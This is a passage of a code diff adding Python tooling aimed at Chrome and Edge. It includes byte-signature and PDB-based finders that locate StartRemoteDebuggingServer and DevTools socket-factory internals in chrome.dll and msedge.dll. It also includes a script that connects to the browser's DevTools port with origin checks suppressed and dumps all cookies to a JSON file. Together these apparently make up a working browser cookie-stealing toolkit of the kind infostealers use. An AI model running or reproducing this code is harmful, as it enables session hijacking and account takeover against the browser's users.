|
||||||
|
"vtable_entry1_rva": f"0x{vtable_entry1_rva:08X}",
|
||||||
|
"vtable_rva": f"0x{vtable_entry1_rva - 8:08X}",
|
||||||
|
"vtable_va": f"0x{image_base + vtable_entry1_rva - 8:016X}",
|
||||||
|
},
|
||||||
|
"layout": {
|
||||||
|
"size": 16,
|
||||||
|
"vtable_offset": 0,
|
||||||
|
"port_offset": 8,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"filepath": {
|
||||||
|
"size": 24,
|
||||||
|
"initialization": "all-zero empty FilePath blob",
|
||||||
|
},
|
||||||
|
"call_shape": {
|
||||||
|
"rcx": "pointer to unique_ptr<DevToolsSocketFactory> wrapper",
|
||||||
|
"rdx": "empty base::FilePath for active_port_output_directory",
|
||||||
|
"r8": "empty base::FilePath for debug_frontend_dir",
|
||||||
|
"r9d": "RemoteDebuggingServerMode",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
if args.pdb:
|
||||||
|
entry1_result, entry1_demangled = choose_tcp_factory_entry1(args.pe, args.pdb)
|
||||||
|
output["pdb"] = str(args.pdb)
|
||||||
|
output["tcp_server_socket_factory"]["create_for_http_server"]["symbol"] = entry1_demangled
|
||||||
|
output["tcp_server_socket_factory"]["create_for_http_server"]["pdb_rva"] = f"0x{entry1_result.symbol.rva:08X}"
|
||||||
|
output["tcp_server_socket_factory"]["create_for_http_server"]["pdb_vtable_refs"] = [
|
||||||
|
f"0x{ref:08X}" for ref in entry1_result.vtable_refs
|
||||||
|
]
|
||||||
|
output["tcp_server_socket_factory"]["create_for_http_server"]["signature_matches_pdb_rva"] = (
|
||||||
|
entry1_sig_rva == entry1_result.symbol.rva
|
||||||
|
)
|
||||||
|
|
||||||
|
print(json.dumps(output, indent=2))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import argparse
|
||||||
|
import contextlib
|
||||||
|
import io
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import pefile
|
||||||
|
|
||||||
|
ROOT = Path(__file__).resolve().parent
|
||||||
|
sys.path.insert(0, str(ROOT))
|
||||||
|
|
||||||
|
from pe_signature_finder import analyze_symbols, format_bytes # type: ignore
|
||||||
|
|
||||||
|
KNOWN_START_SERVER_SIGNATURES = {
|
||||||
|
"msedge.dll": bytes.fromhex(
|
||||||
|
"41 57 41 56 41 54 56 57 55 53 48 83 EC 50 "
|
||||||
|
"44 89 CD 4C 89 C3 48 89 D7 48 89 CE 48 8B 05 9D"
|
||||||
|
),
|
||||||
|
"chrome.dll": bytes.fromhex(
|
||||||
|
"41 57 41 56 56 57 55 53 48 83 EC 48 "
|
||||||
|
"44 89 CD 4D 89 C6 48 89 D3 48 89 CE 48 8B 05 41"
|
||||||
|
),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def load_text_section(pe_path: Path):
|
||||||
|
pe = pefile.PE(str(pe_path))
|
||||||
|
for section in pe.sections:
|
||||||
|
name = section.Name.rstrip(b"\x00").decode("ascii", errors="ignore")
|
||||||
|
if name == ".text":
|
||||||
|
return pe, section, section.get_data()
|
||||||
|
raise RuntimeError(f"{pe_path} has no .text section")
|
||||||
|
|
||||||
|
|
||||||
|
def verify_unique(pattern: bytes, haystack: bytes) -> int:
|
||||||
|
return len(list(re.finditer(re.escape(pattern), haystack)))
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Find StartRemoteDebuggingServer and emit a reusable unique signature."
|
||||||
|
)
|
||||||
|
parser.add_argument("pe", type=Path, help="Path to chrome.dll/msedge.dll")
|
||||||
|
parser.add_argument("pdb", type=Path, nargs="?", help="Optional path to matching PDB")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
pe, _text_section, text_data = load_text_section(args.pe)
|
||||||
|
|
||||||
|
known_sig = KNOWN_START_SERVER_SIGNATURES.get(args.pe.name.lower())
|
||||||
|
if known_sig is None:
|
||||||
|
raise SystemExit(f"no built-in signature for {args.pe.name}; provide a PDB for ground truth")
|
||||||
|
|
||||||
|
pattern_hits = [m.start() for m in re.finditer(re.escape(known_sig), text_data)]
|
||||||
|
if len(pattern_hits) != 1:
|
||||||
|
raise SystemExit(f"expected exactly one StartRemoteDebuggingServer signature hit, got {len(pattern_hits)}")
|
||||||
|
|
||||||
|
matched_offset = pattern_hits[0]
|
||||||
|
matched_rva = _text_section.VirtualAddress + matched_offset
|
||||||
|
|
||||||
|
output = {
|
||||||
|
"binary": str(args.pe),
|
||||||
|
"signature_rva": f"0x{matched_rva:08X}",
|
||||||
|
"signature_va": f"0x{pe.OPTIONAL_HEADER.ImageBase + matched_rva:016X}",
|
||||||
|
"signature_length": len(known_sig),
|
||||||
|
"signature_hex": format_bytes(known_sig),
|
||||||
|
"text_hits": 1,
|
||||||
|
}
|
||||||
|
|
||||||
|
if args.pdb:
|
||||||
|
with contextlib.redirect_stderr(io.StringIO()):
|
||||||
|
results = list(
|
||||||
|
analyze_symbols(
|
||||||
|
str(args.pe),
|
||||||
|
str(args.pdb),
|
||||||
|
"*StartRemoteDebuggingServer*",
|
||||||
|
min_sig=8,
|
||||||
|
max_sig=64,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
good = [r for r in results if r.signature and r.match_count == 1]
|
||||||
|
if good:
|
||||||
|
result = good[0]
|
||||||
|
signature = result.signature
|
||||||
|
assert signature is not None
|
||||||
|
output["pdb"] = str(args.pdb)
|
||||||
|
output["symbol"] = result.symbol.name
|
||||||
|
output["pdb_rva"] = f"0x{result.symbol.rva:08X}"
|
||||||
|
output["pdb_va"] = f"0x{pe.OPTIONAL_HEADER.ImageBase + result.symbol.rva:016X}"
|
||||||
|
output["pdb_signature_hex"] = format_bytes(signature)
|
||||||
|
output["pdb_signature_text_hits"] = verify_unique(signature, text_data)
|
||||||
|
output["signature_matches_pdb_rva"] = matched_rva == result.symbol.rva
|
||||||
|
|
||||||
|
print(json.dumps(output, indent=2))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,83 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import argparse
|
||||||
|
import json
|
||||||
|
import sys
|
||||||
|
import urllib.error
|
||||||
|
import urllib.parse
|
||||||
|
import urllib.request
|
||||||
|
|
||||||
|
from websocket import create_connection
|
||||||
|
|
||||||
|
|
||||||
|
def http_json(url: str) -> dict:
|
||||||
|
with urllib.request.urlopen(url) as resp:
|
||||||
|
return json.loads(resp.read().decode("utf-8"))
|
||||||
|
|
||||||
|
|
||||||
|
def resolve_browser_ws(host: str, port: int) -> str:
|
||||||
|
version_url = f"http://{host}:{port}/json/version"
|
||||||
|
info = http_json(version_url)
|
||||||
|
ws_url = info.get("webSocketDebuggerUrl")
|
||||||
|
if not ws_url:
|
||||||
|
raise RuntimeError(f"No webSocketDebuggerUrl in {version_url}")
|
||||||
|
return ws_url
|
||||||
|
|
||||||
|
|
||||||
|
def cdp_call(ws, message_id: int, method: str, params: dict | None = None) -> dict:
|
||||||
|
req = {"id": message_id, "method": method}
|
||||||
|
if params:
|
||||||
|
req["params"] = params
|
||||||
|
ws.send(json.dumps(req))
|
||||||
|
|
||||||
|
while True:
|
||||||
|
raw = ws.recv()
|
||||||
|
msg = json.loads(raw)
|
||||||
|
if msg.get("id") == message_id:
|
||||||
|
return msg
|
||||||
|
|
||||||
|
|
||||||
|
def grab_cookies(ws_url: str) -> list[dict]:
|
||||||
|
ws = create_connection(ws_url, suppress_origin=True, timeout=10)
|
||||||
|
try:
|
||||||
|
resp = cdp_call(ws, 1, "Storage.getCookies")
|
||||||
|
finally:
|
||||||
|
ws.close()
|
||||||
|
|
||||||
|
if "error" in resp:
|
||||||
|
raise RuntimeError(f"CDP error: {resp['error']}")
|
||||||
|
return resp.get("result", {}).get("cookies", [])
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
parser = argparse.ArgumentParser(description="Grab cookies over a locally enabled CDP port.")
|
||||||
|
parser.add_argument("--host", default="127.0.0.1", help="CDP host (default: 127.0.0.1)")
|
||||||
|
parser.add_argument("--port", type=int, default=9001, help="CDP port (default: 9001)")
|
||||||
|
parser.add_argument("--output", default="cookies.json", help="Output JSON path")
|
||||||
|
parser.add_argument("--domain", help="Optional domain substring filter")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
try:
|
||||||
|
ws_url = resolve_browser_ws(args.host, args.port)
|
||||||
|
cookies = grab_cookies(ws_url)
|
||||||
|
except urllib.error.URLError as exc:
|
||||||
|
print(f"[-] Failed to reach CDP endpoint: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
except Exception as exc:
|
||||||
|
print(f"[-] Failed to grab cookies: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
|
||||||
|
if args.domain:
|
||||||
|
needle = args.domain.lower()
|
||||||
|
cookies = [c for c in cookies if needle in c.get("domain", "").lower()]
|
||||||
|
|
||||||
|
with open(args.output, "w", encoding="utf-8") as fh:
|
||||||
|
json.dump(cookies, fh, indent=2)
|
||||||
|
|
||||||
|
print(f"[+] Browser websocket: {ws_url}")
|
||||||
|
print(f"[+] Cookies written: {len(cookies)}")
|
||||||
|
print(f"[+] Output: {args.output}")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
@@ -0,0 +1,793 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
PE/PDB Signature Finder Tool
|
||||||
|
|
||||||
|
Analyzes PE files with PDB symbols to find minimum unique signatures for functions.
|
||||||
|
Supports wildcard pattern matching for symbol names.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python pe_signature_finder.py <pe_file> <pdb_file> <symbol_pattern>
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
python pe_signature_finder.py app.exe app.pdb "*::MyClass::*"
|
||||||
|
python pe_signature_finder.py app.exe app.pdb "*::SomeFunc"
|
||||||
|
python pe_signature_finder.py app.exe app.pdb "??_7*@@6B@" # vtable pattern
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import fnmatch
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
import mmap
|
||||||
|
from pathlib import Path
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from typing import Optional, List, Tuple, Iterator, Dict
|
||||||
|
|
||||||
|
try:
|
||||||
|
import pefile
|
||||||
|
except ImportError:
|
||||||
|
print("Error: pefile library not found. Install with: pip install pefile")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
# PDB Magic signatures
|
||||||
|
PDB_SIGNATURE_700 = b"Microsoft C/C++ MSF 7.00\r\n\x1aDS\x00\x00\x00"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class SymbolInfo:
|
||||||
|
"""Represents a symbol from the PDB."""
|
||||||
|
name: str
|
||||||
|
rva: int
|
||||||
|
size: int = 0
|
||||||
|
segment: int = 0
|
||||||
|
offset: int = 0
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class SignatureResult:
|
||||||
|
"""Result of signature finding for a symbol."""
|
||||||
|
symbol: SymbolInfo
|
||||||
|
signature: Optional[bytes] = None
|
||||||
|
signature_length: int = 0
|
||||||
|
match_count: int = 0
|
||||||
|
section: str = ""
|
||||||
|
vtable_refs: List[int] = field(default_factory=list)
|
||||||
|
error: Optional[str] = None
|
||||||
|
|
||||||
|
|
||||||
|
def demangle_symbol(name: str) -> str:
|
||||||
|
"""
|
||||||
|
Attempt to demangle a C++ symbol name.
|
||||||
|
This is a simplified demangler for common MSVC patterns.
|
||||||
|
"""
|
||||||
|
if not name.startswith('?'):
|
||||||
|
return name
|
||||||
|
|
||||||
|
# ??_7ClassName@@6B@ = vtable
|
||||||
|
if name.startswith('??_7') and '@@6B@' in name:
|
||||||
|
class_name = name[4:].split('@@')[0].replace('@', '::')
|
||||||
|
return f"{class_name}::`vftable'"
|
||||||
|
|
||||||
|
# ??0ClassName@@... = constructor
|
||||||
|
if name.startswith('??0'):
|
||||||
|
parts = name[3:].split('@@')
|
||||||
|
if parts:
|
||||||
|
class_name = parts[0].replace('@', '::')
|
||||||
|
short_name = class_name.split('::')[-1]
|
||||||
|
return f"{class_name}::{short_name}()"
|
||||||
|
|
||||||
|
# ??1ClassName@@... = destructor
|
||||||
|
if name.startswith('??1'):
|
||||||
|
parts = name[3:].split('@@')
|
||||||
|
if parts:
|
||||||
|
class_name = parts[0].replace('@', '::')
|
||||||
|
short_name = class_name.split('::')[-1]
|
||||||
|
return f"{class_name}::~{short_name}()"
|
||||||
|
|
||||||
|
# ?FuncName@ClassName@@... = member function
|
||||||
|
if name.startswith('?') and '@' in name:
|
||||||
|
parts = name[1:].split('@')
|
||||||
|
if len(parts) >= 2:
|
||||||
|
func_name = parts[0]
|
||||||
|
class_parts = []
|
||||||
|
for part in parts[1:]:
|
||||||
|
if part.startswith('@'):
|
||||||
|
break
|
||||||
|
if part:
|
||||||
|
class_parts.append(part)
|
||||||
|
if class_parts:
|
||||||
|
class_name = '::'.join(reversed(class_parts))
|
||||||
|
return f"{class_name}::{func_name}()"
|
||||||
|
|
||||||
|
return name
|
||||||
|
|
||||||
|
|
||||||
|
class PDBParser:
|
||||||
|
"""
|
||||||
|
PDB parser for extracting symbol information.
|
||||||
|
Supports PDB 7.0 format (MSF format).
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Symbol record types
|
||||||
|
S_PUB32 = 0x110E
|
||||||
|
S_GDATA32 = 0x110D
|
||||||
|
S_LDATA32 = 0x110C
|
||||||
|
S_PROCREF = 0x1125
|
||||||
|
S_LPROCREF = 0x1127
|
||||||
|
S_GPROC32 = 0x1110
|
||||||
|
S_LPROC32 = 0x110F
|
||||||
|
S_GPROC32_ID = 0x1147
|
||||||
|
S_LPROC32_ID = 0x1146
|
||||||
|
S_PUB32_ST = 0x1009 # Older format
|
||||||
|
|
||||||
|
def __init__(self, pdb_path: str, pe: pefile.PE, verbose: bool = False):
|
||||||
|
self.pdb_path = Path(pdb_path)
|
||||||
|
self.pe = pe
|
||||||
|
self.verbose = verbose
|
||||||
|
self.symbols: List[SymbolInfo] = []
|
||||||
|
self.section_headers: List[Tuple[int, int]] = [] # (VA, size) pairs from PDB
|
||||||
|
self._build_section_map_from_pe()
|
||||||
|
self._parse()
|
||||||
|
|
||||||
|
def _build_section_map_from_pe(self):
|
||||||
|
"""Build section map from PE file."""
|
||||||
|
self.section_map = {}
|
||||||
|
for idx, section in enumerate(self.pe.sections, 1):
|
||||||
|
self.section_map[idx] = section.VirtualAddress
|
||||||
|
|
||||||
|
def _log(self, msg: str):
|
||||||
|
if self.verbose:
|
||||||
|
print(f"[PDB] {msg}", file=sys.stderr)
|
||||||
|
|
||||||
|
def _parse(self):
|
||||||
|
"""Parse the PDB file."""
|
||||||
|
with open(self.pdb_path, 'rb') as f:
|
||||||
|
data = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
|
||||||
|
try:
|
||||||
|
self._parse_pdb7(data)
|
||||||
|
finally:
|
||||||
|
data.close()
|
||||||
|
|
||||||
|
def _read_pages(self, data: mmap.mmap, pages: List[int], page_size: int, total_size: int) -> bytes:
|
||||||
|
"""Read data from specified pages."""
|
||||||
|
result = bytearray()
|
||||||
|
remaining = total_size
|
||||||
|
for page in pages:
|
||||||
|
chunk_size = min(page_size, remaining)
|
||||||
|
offset = page * page_size
|
||||||
|
result.extend(data[offset:offset + chunk_size])
|
||||||
|
remaining -= chunk_size
|
||||||
|
return bytes(result)
|
||||||
|
|
||||||
|
def _parse_pdb7(self, data: mmap.mmap):
|
||||||
|
"""Parse PDB 7.0 (MSF) format."""
|
||||||
|
# Check signature
|
||||||
|
if data[:len(PDB_SIGNATURE_700)] != PDB_SIGNATURE_700:
|
||||||
|
raise ValueError("Not a valid PDB 7.0 file")
|
||||||
|
|
||||||
|
# Read MSF header
|
||||||
|
header_offset = len(PDB_SIGNATURE_700)
|
||||||
|
page_size, = struct.unpack_from('<I', data, header_offset)
|
||||||
|
dir_size, = struct.unpack_from('<I', data, header_offset + 12)
|
||||||
|
dir_map_page, = struct.unpack_from('<I', data, header_offset + 20)
|
||||||
|
|
||||||
|
self._log(f"Page size: {page_size}, Dir size: {dir_size}")
|
||||||
|
|
||||||
|
# Calculate directory pages
|
||||||
|
dir_pages_count = (dir_size + page_size - 1) // page_size
|
||||||
|
dir_map_offset = dir_map_page * page_size
|
||||||
|
dir_page_list = []
|
||||||
|
for i in range(dir_pages_count):
|
||||||
|
page_num, = struct.unpack_from('<I', data, dir_map_offset + i * 4)
|
||||||
|
dir_page_list.append(page_num)
|
||||||
|
|
||||||
|
# Read directory
|
||||||
|
directory = self._read_pages(data, dir_page_list, page_size, dir_size)
|
||||||
|
|
||||||
|
# Parse directory - get stream count and sizes
|
||||||
|
stream_count, = struct.unpack_from('<I', directory, 0)
|
||||||
|
self._log(f"Stream count: {stream_count}")
|
||||||
|
|
||||||
|
stream_sizes = []
|
||||||
|
offset = 4
|
||||||
|
for i in range(stream_count):
|
||||||
|
size, = struct.unpack_from('<I', directory, offset)
|
||||||
|
stream_sizes.append(size)
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
# Build page lists for each stream
|
||||||
|
stream_pages = []
|
||||||
|
for i in range(stream_count):
|
||||||
|
size = stream_sizes[i]
|
||||||
|
if size == 0 or size == 0xFFFFFFFF:
|
||||||
|
stream_pages.append([])
|
||||||
|
continue
|
||||||
|
|
||||||
|
pages_needed = (size + page_size - 1) // page_size
|
||||||
|
pages = []
|
||||||
|
for j in range(pages_needed):
|
||||||
|
page, = struct.unpack_from('<I', directory, offset)
|
||||||
|
pages.append(page)
|
||||||
|
offset += 4
|
||||||
|
stream_pages.append(pages)
|
||||||
|
|
||||||
|
# Helper to read a stream
|
||||||
|
def read_stream(idx: int) -> Optional[bytes]:
|
||||||
|
if idx >= stream_count or stream_sizes[idx] == 0 or stream_sizes[idx] == 0xFFFFFFFF:
|
||||||
|
return None
|
||||||
|
return self._read_pages(data, stream_pages[idx], page_size, stream_sizes[idx])
|
||||||
|
|
||||||
|
# Read DBI stream (stream 3)
|
||||||
|
dbi_data = read_stream(3)
|
||||||
|
if not dbi_data or len(dbi_data) < 64:
|
||||||
|
self._log("No DBI stream found")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Parse DBI header
|
||||||
|
gs_stream, = struct.unpack_from('<H', dbi_data, 12) # Global symbols stream index
|
||||||
|
ps_stream, = struct.unpack_from('<H', dbi_data, 16) # Public symbols stream index
|
||||||
|
sym_rec_stream, = struct.unpack_from('<H', dbi_data, 20) # Symbol records stream
|
||||||
|
|
||||||
|
self._log(f"GSI stream: {gs_stream}, PSI stream: {ps_stream}, SymRec stream: {sym_rec_stream}")
|
||||||
|
|
||||||
|
# Get substream sizes from DBI header
|
||||||
|
mod_size, = struct.unpack_from('<I', dbi_data, 24)
|
||||||
|
sec_con_size, = struct.unpack_from('<I', dbi_data, 28)
|
||||||
|
sec_map_size, = struct.unpack_from('<I', dbi_data, 32)
|
||||||
|
file_info_size, = struct.unpack_from('<I', dbi_data, 36)
|
||||||
|
ts_map_size, = struct.unpack_from('<I', dbi_data, 40)
|
||||||
|
ec_info_size, = struct.unpack_from('<I', dbi_data, 44)
|
||||||
|
dbg_hdr_size, = struct.unpack_from('<I', dbi_data, 48)
|
||||||
|
|
||||||
|
# Read section headers from debug header
|
||||||
|
dbi_header_size = 64
|
||||||
|
dbg_hdr_offset = dbi_header_size + mod_size + sec_con_size + sec_map_size + file_info_size + ts_map_size + ec_info_size
|
||||||
|
|
||||||
|
if dbg_hdr_size >= 24 and dbg_hdr_offset + 24 <= len(dbi_data):
|
||||||
|
# Debug header contains stream indices for various debug info
|
||||||
|
sec_hdr_stream, = struct.unpack_from('<H', dbi_data, dbg_hdr_offset + 12)
|
||||||
|
if sec_hdr_stream != 0xFFFF:
|
||||||
|
sec_hdr_data = read_stream(sec_hdr_stream)
|
||||||
|
if sec_hdr_data:
|
||||||
|
self._parse_section_headers(sec_hdr_data)
|
||||||
|
|
||||||
|
# Read symbol records stream - this contains all the actual symbols
|
||||||
|
sym_rec_data = read_stream(sym_rec_stream)
|
||||||
|
if sym_rec_data:
|
||||||
|
self._log(f"Symbol records stream size: {len(sym_rec_data)}")
|
||||||
|
self._parse_symbol_records(sym_rec_data)
|
||||||
|
|
||||||
|
def _parse_section_headers(self, data: bytes):
|
||||||
|
"""Parse section headers from PDB (optional, PE sections are authoritative)."""
|
||||||
|
# Each section header is 40 bytes (IMAGE_SECTION_HEADER)
|
||||||
|
# We DON'T overwrite section_map - PE sections are authoritative
|
||||||
|
# This is just for informational purposes
|
||||||
|
entry_size = 40
|
||||||
|
offset = 0
|
||||||
|
while offset + entry_size <= len(data):
|
||||||
|
name = data[offset:offset+8].rstrip(b'\x00')
|
||||||
|
va, = struct.unpack_from('<I', data, offset + 12)
|
||||||
|
size, = struct.unpack_from('<I', data, offset + 8)
|
||||||
|
# Only store if it looks valid (VA should be > 0 and name should be printable)
|
||||||
|
if va > 0 and all(32 <= b < 127 or b == 0 for b in name):
|
||||||
|
self.section_headers.append((va, size))
|
||||||
|
offset += entry_size
|
||||||
|
|
||||||
|
self._log(f"Parsed {len(self.section_headers)} section headers from PDB")
|
||||||
|
|
||||||
|
def _parse_symbol_records(self, data: bytes):
|
||||||
|
"""Parse symbol records stream."""
|
||||||
|
offset = 0
|
||||||
|
count = 0
|
||||||
|
while offset + 4 <= len(data):
|
||||||
|
rec_len, = struct.unpack_from('<H', data, offset)
|
||||||
|
if rec_len < 2 or offset + rec_len + 2 > len(data):
|
||||||
|
offset += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
rec_type, = struct.unpack_from('<H', data, offset + 2)
|
||||||
|
|
||||||
|
if rec_type == self.S_PUB32:
|
||||||
|
self._parse_pub32(data, offset, rec_len)
|
||||||
|
count += 1
|
||||||
|
elif rec_type in (self.S_GPROC32, self.S_LPROC32):
|
||||||
|
self._parse_proc32(data, offset, rec_len)
|
||||||
|
count += 1
|
||||||
|
elif rec_type in (self.S_GPROC32_ID, self.S_LPROC32_ID):
|
||||||
|
self._parse_proc32_id(data, offset, rec_len)
|
||||||
|
count += 1
|
||||||
|
elif rec_type in (self.S_GDATA32, self.S_LDATA32):
|
||||||
|
self._parse_data32(data, offset, rec_len)
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
offset += rec_len + 2
|
||||||
|
|
||||||
|
self._log(f"Parsed {count} symbol records, found {len(self.symbols)} symbols")
|
||||||
|
|
||||||
|
def _parse_pub32(self, data: bytes, offset: int, rec_len: int):
|
||||||
|
"""Parse S_PUB32 record (public symbol)."""
|
||||||
|
if rec_len < 14:
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
# pubsymflags (4), offset (4), segment (2), name
|
||||||
|
flags, = struct.unpack_from('<I', data, offset + 4)
|
||||||
|
sym_offset, = struct.unpack_from('<I', data, offset + 8)
|
||||||
|
segment, = struct.unpack_from('<H', data, offset + 12)
|
||||||
|
|
||||||
|
name_start = offset + 14
|
||||||
|
name_end = data.find(b'\x00', name_start, offset + rec_len + 2)
|
||||||
|
if name_end == -1:
|
||||||
|
name_end = offset + rec_len + 2
|
||||||
|
|
||||||
|
name = data[name_start:name_end].decode('utf-8', errors='replace')
|
||||||
|
|
||||||
|
if name and segment > 0:
|
||||||
|
rva = self._calculate_rva(segment, sym_offset)
|
||||||
|
if rva is not None:
|
||||||
|
self.symbols.append(SymbolInfo(
|
||||||
|
name=name,
|
||||||
|
rva=rva,
|
||||||
|
segment=segment,
|
||||||
|
offset=sym_offset
|
||||||
|
))
|
||||||
|
except (struct.error, UnicodeDecodeError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _parse_proc32(self, data: bytes, offset: int, rec_len: int):
|
||||||
|
"""Parse S_GPROC32/S_LPROC32 record."""
|
||||||
|
if rec_len < 36:
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
# parent(4), end(4), next(4), len(4), dbgstart(4), dbgend(4), type(4), offset(4), seg(2), flags(1), name
|
||||||
|
proc_len, = struct.unpack_from('<I', data, offset + 16)
|
||||||
|
sym_offset, = struct.unpack_from('<I', data, offset + 32)
|
||||||
|
segment, = struct.unpack_from('<H', data, offset + 36)
|
||||||
|
|
||||||
|
name_start = offset + 39
|
||||||
|
name_end = data.find(b'\x00', name_start, offset + rec_len + 2)
|
||||||
|
if name_end == -1:
|
||||||
|
name_end = offset + rec_len + 2
|
||||||
|
|
||||||
|
name = data[name_start:name_end].decode('utf-8', errors='replace')
|
||||||
|
|
||||||
|
if name and segment > 0:
|
||||||
|
rva = self._calculate_rva(segment, sym_offset)
|
||||||
|
if rva is not None:
|
||||||
|
self.symbols.append(SymbolInfo(
|
||||||
|
name=name,
|
||||||
|
rva=rva,
|
||||||
|
size=proc_len,
|
||||||
|
segment=segment,
|
||||||
|
offset=sym_offset
|
||||||
|
))
|
||||||
|
except (struct.error, UnicodeDecodeError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _parse_proc32_id(self, data: bytes, offset: int, rec_len: int):
|
||||||
|
"""Parse S_GPROC32_ID/S_LPROC32_ID record."""
|
||||||
|
# Same structure as PROC32 but type field is an ID not index
|
||||||
|
self._parse_proc32(data, offset, rec_len)
|
||||||
|
|
||||||
|
def _parse_data32(self, data: bytes, offset: int, rec_len: int):
|
||||||
|
"""Parse S_GDATA32/S_LDATA32 record."""
|
||||||
|
if rec_len < 12:
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
# type(4), offset(4), seg(2), name
|
||||||
|
sym_offset, = struct.unpack_from('<I', data, offset + 8)
|
||||||
|
segment, = struct.unpack_from('<H', data, offset + 12)
|
||||||
|
|
||||||
|
name_start = offset + 14
|
||||||
|
name_end = data.find(b'\x00', name_start, offset + rec_len + 2)
|
||||||
|
if name_end == -1:
|
||||||
|
name_end = offset + rec_len + 2
|
||||||
|
|
||||||
|
name = data[name_start:name_end].decode('utf-8', errors='replace')
|
||||||
|
|
||||||
|
if name and segment > 0:
|
||||||
|
rva = self._calculate_rva(segment, sym_offset)
|
||||||
|
if rva is not None:
|
||||||
|
self.symbols.append(SymbolInfo(
|
||||||
|
name=name,
|
||||||
|
rva=rva,
|
||||||
|
segment=segment,
|
||||||
|
offset=sym_offset
|
||||||
|
))
|
||||||
|
except (struct.error, UnicodeDecodeError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _calculate_rva(self, segment: int, offset: int) -> Optional[int]:
|
||||||
|
"""Calculate RVA from segment:offset."""
|
||||||
|
if segment in self.section_map:
|
||||||
|
return self.section_map[segment] + offset
|
||||||
|
return None
|
||||||
|
|
||||||
|
def find_symbols(self, pattern: str) -> List[SymbolInfo]:
|
||||||
|
"""Find symbols matching the given pattern (supports wildcards).
|
||||||
|
|
||||||
|
Matches against both mangled and demangled names.
|
||||||
|
"""
|
||||||
|
matches = []
|
||||||
|
seen = set()
|
||||||
|
for sym in self.symbols:
|
||||||
|
# Match against mangled name
|
||||||
|
if fnmatch.fnmatch(sym.name, pattern):
|
||||||
|
key = (sym.name, sym.rva)
|
||||||
|
if key not in seen:
|
||||||
|
seen.add(key)
|
||||||
|
matches.append(sym)
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Also try matching against demangled name
|
||||||
|
demangled = demangle_symbol(sym.name)
|
||||||
|
if demangled != sym.name and fnmatch.fnmatch(demangled, pattern):
|
||||||
|
key = (sym.name, sym.rva)
|
||||||
|
if key not in seen:
|
||||||
|
seen.add(key)
|
||||||
|
matches.append(sym)
|
||||||
|
return matches
|
||||||
|
|
||||||
|
|
||||||
|
class PEAnalyzer:
|
||||||
|
"""Analyzes PE files for signatures and vtable references."""
|
||||||
|
|
||||||
|
MIN_SIG_LENGTH = 8
|
||||||
|
MAX_SIG_LENGTH = 64
|
||||||
|
|
||||||
|
def __init__(self, pe_path: str):
|
||||||
|
self.pe_path = Path(pe_path)
|
||||||
|
self.pe = pefile.PE(str(pe_path))
|
||||||
|
self.image_base = self.pe.OPTIONAL_HEADER.ImageBase
|
||||||
|
|
||||||
|
# Cache all section data for searching
|
||||||
|
self._section_cache = {}
|
||||||
|
for section in self.pe.sections:
|
||||||
|
name = section.Name.decode('utf-8').rstrip('\x00')
|
||||||
|
self._section_cache[name] = {
|
||||||
|
'section': section,
|
||||||
|
'data': section.get_data(),
|
||||||
|
'va': section.VirtualAddress,
|
||||||
|
'size': section.Misc_VirtualSize
|
||||||
|
}
|
||||||
|
|
||||||
|
# Quick references for common sections
|
||||||
|
self._text_section = self._find_section('.text')
|
||||||
|
self._rdata_section = self._find_section('.rdata')
|
||||||
|
|
||||||
|
def _find_section(self, name: str) -> Optional[pefile.SectionStructure]:
|
||||||
|
"""Find a section by name."""
|
||||||
|
for section in self.pe.sections:
|
||||||
|
section_name = section.Name.decode('utf-8').rstrip('\x00')
|
||||||
|
if section_name == name:
|
||||||
|
return section
|
||||||
|
name_lower = name.lower()
|
||||||
|
for section in self.pe.sections:
|
||||||
|
section_name = section.Name.decode('utf-8').rstrip('\x00').lower()
|
||||||
|
if section_name == name_lower:
|
||||||
|
return section
|
||||||
|
return None
|
||||||
|
|
||||||
|
def _get_section_for_rva(self, rva: int) -> Optional[Tuple[str, dict]]:
|
||||||
|
